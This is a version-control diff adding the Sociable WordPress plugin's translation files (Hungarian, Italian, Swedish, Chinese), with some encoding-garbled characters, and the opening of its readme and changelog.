Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-hu_HU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-hu_HU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-hu_HU.po	(revision 44)
@@ -0,0 +1,134 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Sociable\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-01-31 22:20-0600\n"
+"Last-Translator: Peter Harkins <ph@push.cx>\n"
+"Language-Team: Sociable <sociable-devel@lists.sourceforge.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Hungarian\n"
+"X-Poedit-Country: HUNGARY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: /home/harkins/proj/sociable/trunk\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: sociable.php:387
+msgid "These icons link to social bookmarking sites where readers can share and discover new web pages."
+msgstr "Ezek az ikonok Ãºn. kÃ¶zÃ¶ssÃ©gi kÃ¶nyvjelzÅ oldalakra mutatnak, ahol meg lehet osztani mÃ¡sokkal is amit fontosnak talÃ¡lsz."
+
+#: sociable.php:482
+msgid "Share and Enjoy:"
+msgstr "Oszd meg ezt a bejegyzÃ©st : "
+
+#: sociable.php:565
+msgid "Sociable tried to check for updates but failed. This might be the way PHP is set up, or just random network issues. Please <a href=\"http://push.cx/sociable\">visit the Sociable website</a> to update manually if needed."
+msgstr "Sociable megprÃ³bÃ¡lt frissÃ­tÃ©seket keresni, de valami miatt ez nem sikerÃŒlt. Lehet, hogy a PHP beÃ¡llÃ­tÃ¡sok az oka, de az is lehet, hogy egyszerÅ± hÃ¡lÃ³zati gond lÃ©pett fel. Ha tovÃ¡bbra is fennÃ¡ll a problÃ©ba, akkor a <a href=\"http://push.cx/sociable\">Sociable oldalÃ¡n</a> meg tudod nÃ©zni, hogy van-e esetleg Ãºj verziÃ³."
+
+#: sociable.php:586
+msgid "A <a href=\"http://push.cx/sociable\">new version of Sociable is available</a>"
+msgstr "ElÃ©rhetÅ egy Ãºj <a href=\"http://push.cx/sociable\">Ãºj Sociable verziÃ³</a>"
+
+#: sociable.php:586
+msgid "as of "
+msgstr ""
+
+#: sociable.php:595
+#, fuzzy
+msgid "Couldn't find wp-content/plugins folder. Please make sure WordPress is installed correctly."
+msgstr "Nem talÃ¡ltam a wp-content/plugins mappÃ¡t. KÃ©rlek ellenÅrÃ­zd, hogy rendben van-e a Wordpress telepÃ­tÃ©sed!"
+
+#: sociable.php:597
+msgid "Can't find sociable folder."
+msgstr "Nincs meg a sociable mappa."
+
+#: sociable.php:603
+msgid "Can't find folder:"
+msgstr "Nincs meg a kÃ¶vetkezÅ mappa: "
+
+#: sociable.php:605
+msgid "Can't find file:"
+msgstr "Nincs meg a kÃ¶vetkezÅ fÃ¡jl: "
+
+#: sociable.php:619
+msgid "Restored all settings to defaults."
+msgstr "Minden beÃ¡llÃ­tÃ¡s visszaÃ¡llÃ­tÃ¡sa az eredetire."
+
+#: sociable.php:646
+msgid "Saved changes."
+msgstr "VÃ¡ltozÃ¡sok elmentve."
+
+#: sociable.php:650
+msgid "In your plugins/sociable folder, you must have these files:"
+msgstr "A plugins/sociable mappÃ¡ban a kÃ¶vetkezÅ fÃ¡jloknak kell lennie: "
+
+#: sociable.php:674
+msgid "Sociable Options"
+msgstr "Sociable beÃ¡llÃ­tÃ¡sok"
+
+#: sociable.php:676
+msgid "Drag and drop sites to reorder them. Only the sites you check will appear publicly."
+msgstr "Pakold tetszÃ©sednek megfelelÅ sorrendbe az ikonokat. Csak a kipipÃ¡lt elemek fognak majd megjelenni az oldaladon."
+
+#: sociable.php:708
+msgid "Change the text displayed in front of the icons below. For complete customization, edit <kbd>sociable.css</kbd> in the Sociable plugin directory."
+msgstr "Itt tudod beÃ¡llÃ­tani, hogy milyen szÃ¶veg jelenjen meg az ikonok elÅtt. Teljes testreszabÃ¡shoz a <kbd>sociable.css</kbd> fÃ¡jlt is Ã¡t tudod Ã­rni."
+
+#: sociable.php:715
+msgid "The icons appear at the end of each blog post, and posts may show on many different types of pages. Depending on your theme and audience, it may be tacky to display icons on all types of pages."
+msgstr "Az ikonok minden bejegyzÃ©s utÃ¡n jelennek meg. Itt meg tudod adni, hogy mely oldalakon, aloldalakon, stb. szeretnÃ©d, hogy lÃ¡tszÃ³djanak."
+
+#: sociable.php:718
+msgid "Front page of the blog"
+msgstr "Blog fÅoldalÃ¡n"
+
+#: sociable.php:719
+msgid "Individual blog posts"
+msgstr "Minden blog bejegyzÃ©s vÃ©gÃ©n"
+
+#: sociable.php:720
+msgid "Individual WordPress \"Pages\""
+msgstr "Minden wordpress \"Oldal\" aljÃ¡n "
+
+#: sociable.php:721
+msgid "Category archives"
+msgstr "KategÃ³ria archÃ­vumnÃ¡l"
+
+#: sociable.php:722
+msgid "Date-based archives"
+msgstr "IdÅrendi archÃ­vumnÃ¡l"
+
+#: sociable.php:723
+msgid "Search results"
+msgstr "KeresÃ©si eredmÃ©nyeknÃ©l"
+
+#: sociable.php:727
+msgid "Save Changes"
+msgstr "VÃ¡ltozÃ¡sok mentÃ©se"
+
+#: sociable.php:728
+msgid "Restore Built-in Defaults"
+msgstr "Eredeti beÃ¡llÃ­tÃ¡sok visszaÃ¡llÃ­tÃ¡sa"
+
+#: sociable.php:733
+msgid "Automatic Updates"
+msgstr "Automatikus frissÃ­tÃ©s"
+
+#: sociable.php:735
+msgid "Sociable checks for new versions when you bring up this page. (At most once per week.)"
+msgstr "Sociable minden alkalommal, amikor ezt az oldalt betÃ¶ltÃ¶d ellenÅrzi, hogy van-e frissebb verzÃ³, mint az Ã¡ltalad hasznÃ¡lt."
+
+#: sociable.php:738
+msgid "This copy of Sociable is from"
+msgstr "A jelenleg hasznÃ¡lt verzÃ³ dÃ¡tuma "
+
+#: sociable.php:739
+msgid "Last checked on"
+msgstr "UtolsÃ³ ellenÅrzÃ©s"
+
+#: sociable.php:744
+msgid "<a href=\"http://push.cx/sociable\">Sociable</a> is copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, released under the GNU GPL version 2 or later. If you like Sociable, please send a link my way so other folks can find out about it. If you have any problems or good ideas, <a href=\"mailto:ph@malaprop.org\">mail me</a>."
+msgstr "A <a href=\"http://push.cx/sociable\">Sociable</a>  plugin <a href=\"http://push.cx/\">Peter Harkins</a> vÃ©djegye. GNU GPL 2, vagy annÃ¡l Ãºjabb licenc alatt lett kÃ¶zzÃ©tÃ©ve. Ha tetszik a plugin, vagy kÃ©rdÃ©sed, Ã¶tleted van, akkor Ã­rj <a href=\"mailto:ph@malaprop.org\">levelet</a>! <br />Ha a magyar fordÃ­tÃ¡ssal van valami problÃ©ma, akkor keress meg <a href=\"http://kobak.org/kontakt/\">engem</a>"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-it_IT.po	(revision 44)
@@ -0,0 +1,133 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sociable\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-01-31 22:11-0600\n"
+"Last-Translator: Peter Harkins <ph@push.cx>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: /home/malaprop/proj/sociable\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: sociable.php:387
+msgid "These icons link to social bookmarking sites where readers can share and discover new web pages."
+msgstr "Queste icone linkano i siti di social bookmarking sui quali i lettori possono condividere e trovare nuove pagine web."
+
+#: sociable.php:482
+msgid "Share and Enjoy:"
+msgstr "Condividi :"
+
+#: sociable.php:565
+msgid "Sociable tried to check for updates but failed. This might be the way PHP is set up, or just random network issues. Please <a href=\"http://push.cx/sociable\">visit the Sociable website</a> to update manually if needed."
+msgstr "Sociable ha provato a cercare un aggiornamento senza successo. Questo errore puo' essere dovuto al modo in cui PHP e' configurato o ad un semplice errore di rete. Visita <a href=\"http://push.cx/sociable\">il sito web di Sociable</a> per un aggiornamento manuale se necessario."
+
+#: sociable.php:586
+msgid "A <a href=\"http://push.cx/sociable\">new version of Sociable is available</a>"
+msgstr "A <a href=\"http://push.cx/sociable\">Un nuova versione di Sociable e' disponibile</a>"
+
+#: sociable.php:586
+msgid "as of "
+msgstr "in data"
+
+#: sociable.php:595
+msgid "Couldn't find wp-content/plugins folder. Please make sure WordPress is installed correctly."
+msgstr "Impossibile trovare la cartella wp-content/plugins folder. Per favore, verifica che WordPress sia installato correttamente."
+
+#: sociable.php:597
+msgid "Can't find sociable folder."
+msgstr "Impossibile trovare la cartella sociable."
+
+#: sociable.php:603
+msgid "Can't find folder:"
+msgstr "Impossibile trovare la cartella:"
+
+#: sociable.php:605
+msgid "Can't find file:"
+msgstr "Impossibile trovare il file:"
+
+#: sociable.php:619
+msgid "Restored all settings to defaults."
+msgstr "Le impostazioni di default sono state ripristinate."
+
+#: sociable.php:646
+msgid "Saved changes."
+msgstr "Modifiche salvate."
+
+#: sociable.php:650
+msgid "In your plugins/sociable folder, you must have these files:"
+msgstr "Interno della cartella plugins/sociable, devi avere questi files:"
+
+#: sociable.php:674
+msgid "Sociable Options"
+msgstr "Opzioni di Sociable"
+
+#: sociable.php:676
+msgid "Drag and drop sites to reorder them. Only the sites you check will appear publicly."
+msgstr "Trascina con il mouse le immagini dei siti per cambiare l'ordine in cui questi appariranno. Solo i siti selezionati appariranno sulle tue pagine pubbliche. Ricordati di salvare le modifiche perche' queste abbiano effetto."
+
+#: sociable.php:708
+msgid "Change the text displayed in front of the icons below. For complete customization, edit <kbd>sociable.css</kbd> in the Sociable plugin directory."
+msgstr "Cambia il testo che verra' visualizzato prima delle icone. Per una personalizzazione piu' spinta modifica il file <kbd>sociable.css</kbd> che trovi nella cartella di installazione del plugin Sociable."
+
+#: sociable.php:715
+msgid "The icons appear at the end of each blog post, and posts may show on many different types of pages. Depending on your theme and audience, it may be tacky to display icons on all types of pages."
+msgstr "Le icone vengono visualizzate alla fine di ogni post e, dal momento che questi possono essere visualizzati su differenti tipi di pagine, puoi decidere dove rendere disponibile la feature di social bookmarking."
+
+#: sociable.php:718
+msgid "Front page of the blog"
+msgstr "Pagina principale del blog"
+
+#: sociable.php:719
+msgid "Individual blog posts"
+msgstr "Singoli post"
+
+#: sociable.php:720
+msgid "Individual WordPress \"Pages\""
+msgstr "\"Pagine\" di WordPress"
+
+#: sociable.php:721
+msgid "Category archives"
+msgstr "Archivi categorie"
+
+#: sociable.php:722
+msgid "Date-based archives"
+msgstr "Archivi basati su data"
+
+#: sociable.php:723
+msgid "Search results"
+msgstr "Risultati di una ricerca"
+
+#: sociable.php:727
+msgid "Save Changes"
+msgstr "Salva le modifiche"
+
+#: sociable.php:728
+msgid "Restore Built-in Defaults"
+msgstr "Ripristina i valori di default"
+
+#: sociable.php:733
+msgid "Automatic Updates"
+msgstr "Aggiornamenti Automatici"
+
+#: sociable.php:735
+msgid "Sociable checks for new versions when you bring up this page. (At most once per week.)"
+msgstr "Sociable verifica automaticamente la disponibilita' di aggiornamenti nel momenti in cui questa pagina viene visualizzata. (Al massimo una volta alla settimana.)"
+
+#: sociable.php:738
+msgid "This copy of Sociable is from"
+msgstr "Questa copia di Sociable e' stata rilasciata il"
+
+#: sociable.php:739
+msgid "Last checked on"
+msgstr "Ultima verifica della disponibilita' di aggiornamenti il"
+
+#: sociable.php:744
+msgid "<a href=\"http://push.cx/sociable\">Sociable</a> is copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, released under the GNU GPL version 2 or later. If you like Sociable, please send a link my way so other folks can find out about it. If you have any problems or good ideas, <a href=\"mailto:ph@malaprop.org\">mail me</a>."
+msgstr "<a href=\"http://push.cx/sociable\">Sociable</a> e' copyright 2006 di <a href=\"http://push.cx/\">Peter Harkins</a>, e viene distribuito sotto licenza GNU GPL versione 2 o successiva. Se Sociable ti piace, per cortesia, inserisci un link al sito dell'autore cosi' che altre persone possano venire a conoscenza di questo plugin. Se hai dei problemi nell'uso o delle buone idee da suggerire, <a href=\"mailto:ph@malaprop.org\">scrivimi</a>."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-sv_SE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-sv_SE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-sv_SE.po	(revision 44)
@@ -0,0 +1,135 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Sociable 2.8.3\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-07-21 22:24+0100\n"
+"Last-Translator: Mikael Jorhult <mikael@mishkin.se>\n"
+"Language-Team: mishkin.se <mikael@mishkin.se>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Swedish\n"
+"X-Poedit-Country: Sweden\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: /home/malaprop/proj/sociable\n"
+"Plural-Forms: nplurals=2; plural=n != 1\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: sociable.php:302
+msgid "These icons link to social bookmarking sites where readers can share and discover new web pages."
+msgstr "Dessa ikoner lÃ€nkar till webbplatser fÃ¶r social bookmarking dÃ€r lÃ€sare kan dela med sig av de sidor de besÃ¶ker."
+
+#: sociable.php:385
+msgid "Share and Enjoy:"
+msgstr "Dela med dig:"
+
+#: sociable.php:460
+msgid "Sociable tried to check for updates but failed. This might be the way PHP is set up, or just random network issues. Please <a href=\"http://push.cx/sociable\">visit the Sociable website</a> to update manually if needed."
+msgstr "Sociable sÃ¶kte efter uppdateringar men misslyckades. Detta kan bero pÃ¥ hur PHP Ã€r konfigurerat eller av nÃ¥gon tillfÃ€llig anledning. Var god besÃ¶k <a href=\"http://push.cx/sociable\">Sociables hemsida</a>fÃ¶r att uppdatera manuellt om det behÃ¶vs."
+
+#: sociable.php:481
+msgid "A <a href=\"http://push.cx/sociable\">new version of Sociable is available</a>"
+msgstr "En <a href=\"http://push.cx/sociable\">ny version av Sociable</a> Ã€r tillgÃ€nglig"
+
+#: sociable.php:481
+msgid "as of "
+msgstr "frÃ¥n "
+
+#: sociable.php:490
+msgid "Couldn't find wp-admin/plugins folder. Please make sure WordPress is installed correctly."
+msgstr "Kunde inte hitta kattalogen wp-admin/plugins. Kontrollera att WordPress Ã€r korrekt installerat."
+
+#: sociable.php:492
+msgid "Can't find sociable folder."
+msgstr "Kunde inte hitta katalogen sociable."
+
+#: sociable.php:498
+msgid "Can't find folder:"
+msgstr "Kunde inte hitta katalogen"
+
+#: sociable.php:500
+msgid "Can't find file:"
+msgstr "Kunde inte hitta filen"
+
+#: sociable.php:514
+msgid "Restored all settings to defaults."
+msgstr "Alla instÃ€llningar Ã¥terstÃ€lldes till standardvÃ€rden."
+
+#: sociable.php:550
+msgid "Saved changes."
+msgstr "Ãndringarna sparades."
+
+#: sociable.php:554
+msgid "In your plugins/sociable folder, you must have these files:"
+msgstr "Dessa filer mÃ¥ste finnas i katalogen plugins/sociable:"
+
+#: sociable.php:571
+msgid "Sociable Options"
+msgstr "Sociable InstÃ€llningar"
+
+#: sociable.php:573
+msgid "Drag and drop sites to reorder them. Only the sites you check will appear publicly."
+msgstr "Dra och slÃ€pp webbplatserna i den ordning du vill ha dem. Bara de webbplatser du vÃ€ljer kommer att visas pÃ¥ sidan."
+
+#: sociable.php:591
+msgid "Change the text displayed in front of the icons below. For complete customization, edit <i>sociable.css</i> in the Sociable plugin directory."
+msgstr "Nedan kan du fÃ¶rÃ€ndra texten som visas framfÃ¶r ikonerna. FÃ¶r fler mÃ¶jligheter att modifiera tillÃ€gget kan du Ã€ndra i <i>sociable.css</i> i Sociables katalog."
+
+#: sociable.php:598
+msgid "The icons appear at the end of each blog post, and posts may show on many different types of pages. Depending on your theme and audience, it may be tacky to display icons on all types of pages."
+msgstr "Ikonerna visas i slutet av varje inlÃ€gg. InlÃ€gg kan dock visas pÃ¥ vÃ€ldigt mÃ¥nga typer av sidor och beroende pÃ¥ ditt tema och besÃ¶kare, kan det upplevas stÃ¶rande att visa ikonerna pÃ¥ alla typer av sidor."
+
+#: sociable.php:601
+msgid "Front page of the blog"
+msgstr "Bloggens fÃ¶rstasida"
+
+#: sociable.php:602
+msgid "Individual blog posts"
+msgstr "Individuella inlÃ€gg"
+
+#: sociable.php:603
+msgid "Individual WordPress \"Pages\""
+msgstr "Individuella WordPress-sidor"
+
+#: sociable.php:604
+msgid "Category archives"
+msgstr "Kategoriarkiv"
+
+#: sociable.php:605
+msgid "Date-based archives"
+msgstr "Datumarkiv"
+
+#: sociable.php:606
+msgid "Search results"
+msgstr "SÃ¶kresultat"
+
+#: sociable.php:610
+msgid "Save Changes"
+msgstr "Spara Ã€ndringar"
+
+#: sociable.php:611
+msgid "Restore Built-in Defaults"
+msgstr "Ã
+terstÃ€ll standardinstÃ€llningar"
+
+#: sociable.php:616
+msgid "Automatic Updates"
+msgstr "Automatiska uppdateringar"
+
+#: sociable.php:618
+msgid "Sociable checks for new versions when you bring up this page. (At most once per week.)"
+msgstr "Sociable sÃ¶ker efter nya version nÃ€r du besÃ¶ker denna sida. (Dock som mest en gÃ¥ng i veckan)"
+
+#: sociable.php:621
+msgid "This copy of Sociable is from"
+msgstr "Denna version av Sociable Ã€r frÃ¥n"
+
+#: sociable.php:622
+msgid "Last checked on"
+msgstr "Senaste sÃ¶kning gjordes"
+
+#: sociable.php:627
+msgid "<a href=\"http://push.cx/sociable\">Sociable</a> is copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, released under the GNU GPL version 2 or later. If you like Sociable, please send a link my way so other folks can find out about it. If you have any problems or good ideas, <a href=\"mailto:ph@malaprop.org\">mail me</a>."
+msgstr "<a href=\"http://push.cx/sociable\">Sociable</a> Ã€r copyrightskyddad 2006 av <a href=\"http://push.cx/\">Peter Harkins</a>, slÃ€ppt under GNU GPL version 2 eller senare. Om du gillar Sociable sÃ¥ skicka din lÃ€nk till mig sÃ¥ att fler kan fÃ¥ reda pÃ¥ din sida. Om du har problem med tillÃ€gget eller idÃ©er <a href=\"mailto:ph@malaprop.org\">maila me</a>."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-zh_TW.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-zh_TW.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/i18n/sociable-zh_TW.po	(revision 44)
@@ -0,0 +1,141 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sociable\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-03-03 19:57+0800\n"
+"Last-Translator: Hugo <aa@kimo.com.tw>\n"
+"Language-Team: Hugo5688 <hugo5688@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Chinese\n"
+"X-Poedit-Country: TAIWAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: /home/malaprop/proj/sociable\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: sociable.php:387
+msgid "These icons link to social bookmarking sites where readers can share and discover new web pages."
+msgstr "éäºåç€ºå°æé£çµå°ç€Ÿäº€ç¶²ç«ïŒäžŠäžå¯ä»¥åäº«çµŠè®è
+å"
+
+#: sociable.php:482
+msgid "Share and Enjoy:"
+msgstr "Share and Enjoy:"
+
+#: sociable.php:565
+msgid "Sociable tried to check for updates but failed. This might be the way PHP is set up, or just random network issues. Please <a href=\"http://push.cx/sociable\">visit the Sociable website</a> to update manually if needed."
+msgstr "Sociable åè©ŠæŽæ°äœå€±æäº. éæå¯èœæ¯PHPèš­å®çæ¹åŒ, ææ¯ç¶²è·¯æ¹é¢çåé¡. åŠææšéèŠçè©±è«çèŠœ<a href=\"http://push.cx/sociable\"> Sociable çç¶²ç«</a> äŸæåæŽæ°."
+
+#: sociable.php:586
+msgid "A <a href=\"http://push.cx/sociable\">new version of Sociable is available</a>"
+msgstr "<a href=\"http://push.cx/sociable\">æ°çæ¬ç Sociable å·²ç¶å¯ä»¥äžèŒ</a>"
+
+#: sociable.php:586
+msgid "as of "
+msgstr "èª"
+
+#: sociable.php:595
+msgid "Couldn't find wp-content/plugins folder. Please make sure WordPress is installed correctly."
+msgstr "ç¡æ³æŸå° wp-content/plugins è³æå€Ÿ. è«ç¢ºèª WordPress å·²ç¶æ­£ç¢ºçå®è£å®æ."
+
+#: sociable.php:597
+msgid "Can't find sociable folder."
+msgstr "ç¡æ³æŸå° sociable è³æå€Ÿ"
+
+#: sociable.php:603
+msgid "Can't find folder:"
+msgstr "ç¡æ³æŸå°è³æå€Ÿ:"
+
+#: sociable.php:605
+msgid "Can't find file:"
+msgstr "ç¡æ³æŸå°æªæ¡:"
+
+#: sociable.php:619
+msgid "Restored all settings to defaults."
+msgstr "åŸ©åææéžé 
+è³åå§èš­å®"
+
+#: sociable.php:646
+msgid "Saved changes."
+msgstr "å·²å²å­è®æŽ"
+
+#: sociable.php:650
+msgid "In your plugins/sociable folder, you must have these files:"
+msgstr "åšæšç plugins/sociable è³æå€Ÿå
+§å¿
+éæä»¥äžæªæ¡:"
+
+#: sociable.php:674
+msgid "Sociable Options"
+msgstr "Sociable éžé 
+"
+
+#: sociable.php:676
+msgid "Drag and drop sites to reorder them. Only the sites you check will appear publicly."
+msgstr "æšå¯ä»¥éæ°çææ³äŸæåéäºç«é»ãåªææšåŸéžçç«é»ææå
+¬éå°åºçŸåšæšçç¶²ç«äžã"
+
+#: sociable.php:708
+msgid "Change the text displayed in front of the icons below. For complete customization, edit <kbd>sociable.css</kbd> in the Sociable plugin directory."
+msgstr "ç·šèŒ¯åºçŸåšåç€ºä¹åçæå­ãåŠææ³èŠèªå®æŽå€éšä»œïŒè«ç·šèŒ¯åš plugin / Sociable  åºäžç <kbd>sociable.css</kbd>"
+
+#: sociable.php:715
+msgid "The icons appear at the end of each blog post, and posts may show on many different types of pages. Depending on your theme and audience, it may be tacky to display icons on all types of pages."
+msgstr "åç€ºæåºçŸåšæ¯ç¯æç« çæåºäžïŒèäžæç« å¯èœæé¡¯ç€ºåšèš±å€äžåé¡åçé é¢äžïŒéåæ±ºæŒæšçäœæ¯èè®è
+ïŒèäžæå¯èœæåºçŸåšææé¡åçé é¢è£¡ã"
+
+#: sociable.php:718
+msgid "Front page of the blog"
+msgstr "åšé é¢åç«¯é¡¯ç€º"
+
+#: sociable.php:719
+msgid "Individual blog posts"
+msgstr "é¡¯ç€ºåšå®ç¯æç« "
+
+#: sociable.php:720
+msgid "Individual WordPress \"Pages\""
+msgstr "é¡¯ç€ºåšå®çšé é¢"
+
+#: sociable.php:721
+msgid "Category archives"
+msgstr "é¡¯ç€ºåšåé¡åœæŽ"
+
+#: sociable.php:722
+msgid "Date-based archives"
+msgstr "é¡¯ç€ºåšæ¥æåœæŽ"
+
+#: sociable.php:723
+msgid "Search results"
+msgstr "é¡¯ç€ºåšæå°çµæ"
+
+#: sociable.php:727
+msgid "Save Changes"
+msgstr "å²å­è®æŽ"
+
+#: sociable.php:728
+msgid "Restore Built-in Defaults"
+msgstr "éåå
+§å»ºçåå§èš­å®"
+
+#: sociable.php:733
+msgid "Automatic Updates"
+msgstr "èªåæŽæ°"
+
+#: sociable.php:735
+msgid "Sociable checks for new versions when you bring up this page. (At most once per week.)"
+msgstr "ç¶æšéåæ­€é é¢ Sociable ææª¢æ¥æ¯åŠæèŒæ°ççæ¬ (æå€æ¯ææäžæ¬¡)"
+
+#: sociable.php:738
+msgid "This copy of Sociable is from"
+msgstr "æ­€çç Sociable æ¯åŸ"
+
+#: sociable.php:739
+msgid "Last checked on"
+msgstr "äžäžæ¬¡æª¢æ¥çº"
+
+#: sociable.php:744
+msgid "<a href=\"http://push.cx/sociable\">Sociable</a> is copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, released under the GNU GPL version 2 or later. If you like Sociable, please send a link my way so other folks can find out about it. If you have any problems or good ideas, <a href=\"mailto:ph@malaprop.org\">mail me</a>."
+msgstr "<a href=\"http://push.cx/sociable\">Sociable</a> is copyright 2006 by <a href=\"http://push.cx/\">Peter Harkins</a>, released under the GNU GPL version 2 or later. If you like Sociable, please send a link my way so other folks can find out about it. If you have any problems or good ideas, <a href=\"mailto:ph@malaprop.org\">mail me</a>."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sociable/readme.txt	(revision 44)
@@ -0,0 +1,301 @@
+=== Sociable ===
+Contributors: joostdevalk, sociable
+Donate link: http://yoast.com/donate/
+Tags: social, bookmark, bookmarks, bookmarking, social bookmarking, social bookmarks
+Requires at least: 2.6
+Tested up to: 2.8.4
+Stable tag: 3.4.4
+
+Automatically add links on your posts, pages and RSS feed to your favorite social bookmarking sites. 
+
+== Description ==
+Automatically add links to your favorite social bookmarking sites on your posts, pages and in your RSS feed. You can choose from 99 different social bookmarking sites! WordPress 2.6 or above is required, if you use an older version, please download [this version](http://downloads.wordpress.org/plugin/sociable.3.0.6.zip), please keep in mind that version is not maintained.
+
+More info:
+
+* More info on [Sociable](http://yoast.com/wordpress/sociable/), with info on how to add sites to it, and how to integrate it into your WordPress in other ways.
+* Check out the other [Wordpress plugins](http://yoast.com/wordpress/) by the same author, and read his blog: [Yoast](http://yoast.com).
+
+== Screenshots ==
+
+1. The Sociable backend, easily select sites and drag & drop to change the order of appearance.
+2. Sociable with its default styling.
+3. Sociable in use on [Yoast.com](http://yoast.com/), with the custom image options and its own styling.
+
+== Changelog ==
+
+= 3.4.4 =
+* Another fix for the sociableoff dilemma's, no backwards compatibility unfortunately, so disable sociable again on pages where you want to disable it.
+
+= 3.4.3 =
+* Fixed the bug mentioned [here](http://wordpress.org/support/topic/288487) and [here](http://wordpress.org/support/topic/290753) that made it impossible to disable Sociable on a per post/page basis (for real, now).
+
+= 3.4.2 =
+* Added a site specific id to each links anchor tag.
+* Fixed the bug mentioned [here](http://wordpress.org/support/topic/288487) and [here](http://wordpress.org/support/topic/290753) that made it impossible to disable Sociable on a per post/page basis. 
+* "Reintroduced" TwitThis as Twitter.
+
+= 3.4.1 =
+* Fixed the Sphinn submit link.
+
+= 3.4 =
+* Added the option to add a site to Sociable through a filter, read [How to add a site to Sociable](http://yoast.com/add-sites-to-sociable/).
+
+= 3.3.8 =
+* Fixed the option to disable Sociable on a per post / page basis.
+
+= 3.3.7 =
+* More bugfixery.
+
+= 3.3.6 =
+* Reverted plugin URL fix because of too many people on old WordPress installations complaining. (Upgrade, people, upgrade!)
+* Added PHPDoc throughout the plugins code.
+
+= 3.3.5 =
+* Added a Hyves button.
+* Fixed MSN Reporter button.
+
+= 3.3.4 =
+* Fixed RSS.
+
+= 3.3.3 =
+* Brought back Tumblr
+* Updated PDF link
+* Added Posterous
+* Smushed all images using [Smush.it](http://smush.it/), reducing the total image file size with 31.72 KB (42.03%)!
+* Removed pre - 2.6 compatibility code
+
+= 3.3.1 =
+* Added new option to use pure text links, instead of image links.
+* Fixed small issue with using target=blank links and the new awe.sm options.
+* Allowed for usage without an awe.sm API key, as awe.sm falls back to "default" awe.sm shortlinks.
+* Code cleanup for more efficiency in the backend on saving options.
+* General code cleanup.
+* Moved to the new default Changelog markup.
+
+= 3.3 =
+* Added awe.sm integration and some sites.
+
+= 3.2.3 =
+* Removed the last bit of non jQuery javascript.
+* Improved styling and visual feedback when selecting a site.
+
+= 3.2.2 = 
+* Moved style loading to admin_print_styles and scripts to admin_print_scripts.
+
+= 3.2.1 =
+* Fixed a bug with printing styles in 2.8 beta.
+
+= 3.2 =
+This is a MAJOR update to Sociable. Major Thanks to Jean-Paul of [iPhoneclub](http://www.iphoneclub.nl/) for all his work in looking up all the sites. The full list of changes:
+
+* Restored sociable-admin.js, as it got accidentally removed.
+* Added `class="sociablefirst"` to the first site in the list and `class="sociablelast"` to the last one.
+* Added:
+	* An RSS button, which links to your sites RSS feed
+	* Printfriendly.com for both printing and creating a PDF, replacing the original "Print" function, which didn't work from RSS
+	* Current
+	* FriendFeed
+	* MSN Reporter.nl 
+	* FS Daily
+	* Hello TXT
+* Removed the following sites that were no longer working or active:
+	* BlinkBits
+	* Blogmemes.cn, .net, .jp
+	* Blogsvine
+	* Book.mark.hu
+	* Bumpzee
+	* Del.irio.us
+	* Feed Me Links
+	* Furl (replaced by Diigo)
+	* GeenRedactie
+	* Kick.ie
+	* Leonaut
+	* Magnolia
+	* Plug IM
+	* Pownce
+	* Salesmarks
+	* Scuttle
+	* Shadows
+	* Smarking
+	* Spurl
+	* Taggly
+	* Tailrank
